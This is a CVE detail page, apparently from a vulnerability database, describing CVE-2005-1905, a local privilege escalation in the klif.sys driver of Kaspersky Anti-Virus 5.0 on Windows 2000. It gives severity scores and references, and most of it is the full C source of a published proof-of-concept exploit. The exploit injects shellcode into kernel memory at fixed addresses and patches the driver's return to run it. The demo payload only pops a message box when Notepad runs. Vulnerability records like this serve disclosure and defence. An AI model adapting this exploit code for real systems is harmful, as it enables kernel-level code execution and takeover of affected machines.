CVE-2005-1905 : Detail

CVE-2005-1905

0.04%V3
Local
2005-06-08
02h00 +00:00
2016-10-17
11h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The klif.sys driver in Kaspersky Labs Anti-Virus 5.0.227, 5.0.228, and 5.0.335 on Windows 2000 allows local users to gain privileges by modifying certain critical code addresses that are later accessed by privileged programs.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 1032

Publication date : 2005-06-06 22h00 +00:00
Author : Ilya Rabinovich
EDB Verified : Yes

/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */ #define NO_STRICT 1 #include <windows.h> #undef STRICT PUCHAR pCodeBase=(PUCHAR)0xBE9372C0; PDWORD pJmpAddress=(PDWORD)0xBE9372B0; PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046}; PUCHAR pKAVRet; unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200 0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000 0x6A,0x00, //push 0 0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13 0xFF,0xD0, //call eax 0x68,0x00,0x80,0x93,0xBE, //push <buffer address> 0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200 0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30 0xFF,0xD0, //call eax 0x85,0xC0, //test eax,eax 0x74,0x03, //je +03 0xC2,0x04,0x00, //retn 4 0x6A,0x00, //push 0 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400 0x6A,0x00, //push 0 0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58 0xFF,0xD0, //call eax 0xC2,0x04,0x00 //retn 4 }; unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0] ////////////////////////////////////////////////////////////// BOOLEAN LoadExploitIntoKernelMemory(void){ //Get function's addresses HANDLE hKernel=GetModuleHandle("KERNEL32.DLL"); HANDLE hUser=GetModuleHandle("USER32.DLL"); FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA"); FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA"); FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA"); *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA; *(DWORD*)(code+30)=(DWORD)plstrcmpiA; *(DWORD*)(code+58)=(DWORD)pMessageBoxA; //Prepare our data into ring0-zone. PCHAR pNotepadName=(PCHAR)0xBE938200; char temp_buffer[MAX_PATH]; char *s; SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s); lstrcpy(pNotepadName,temp_buffer); PCHAR pMessage=(PCHAR)0xBE938400; lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!"); memmove(pCodeBase,code,sizeof(code)); *pJmpAddress=(DWORD)pCodeBase; memmove(pKAVRet,jmp_code,sizeof(jmp_code)); return TRUE; } /////////////////////////////////////////////////////////////// void UnloadExploitFromKernelMemory(){ UCHAR retn_4[]={0xC2,0x04,0x00}; memmove(pKAVRet,retn_4,sizeof(retn_4)); } ///////////////////////////////////////////////////////////////// PUCHAR GetKAVRetAddress(void){ //Check the retn 4 in the KAV 0xBE9334E1 function end //Also, we check the KAV klif.sys existance. UCHAR retn_4[]={0xC2,0x04,0x00}; __try{ for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){ if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0) return pKAVRets[i]; } }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;} MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0); return NULL; } ///////////////////////////////////////////////////////////////// void main(void){ pKAVRet=GetKAVRetAddress(); if(NULL==pKAVRet) return; if(!LoadExploitIntoKernelMemory()) return; char temp_buffer[MAX_PATH]; char *s; SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s); PROCESS_INFORMATION pi; STARTUPINFO si={0}; si.cb=sizeof(si); CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE, 0,NULL,NULL,&si,&pi); WaitForSingleObject(pi.hProcess,INFINITE); MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0); MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0); UnloadExploitFromKernelMemory(); } // milw0rm.com [2005-06-07]

Products Mentioned

Configuraton 0

Kaspersky_lab>>Kaspersky_anti-virus >> Version 5.0.227

    Kaspersky_lab>>Kaspersky_anti-virus >> Version 5.0.228

      Kaspersky_lab>>Kaspersky_anti-virus >> Version 5.0.335

        Kaspersky_lab>>Kaspersky_anti-virus_personal >> Version 5.0.227

          Kaspersky_lab>>Kaspersky_anti-virus_personal >> Version 5.0.228

            Kaspersky_lab>>Kaspersky_anti-virus_personal >> Version 5.0.325

              References

              http://www.securityfocus.com/bid/13878
              Tags : vdb-entry, x_refsource_BID
              http://marc.info/?l=bugtraq&m=111817777430401&w=2
              Tags : mailing-list, x_refsource_BUGTRAQ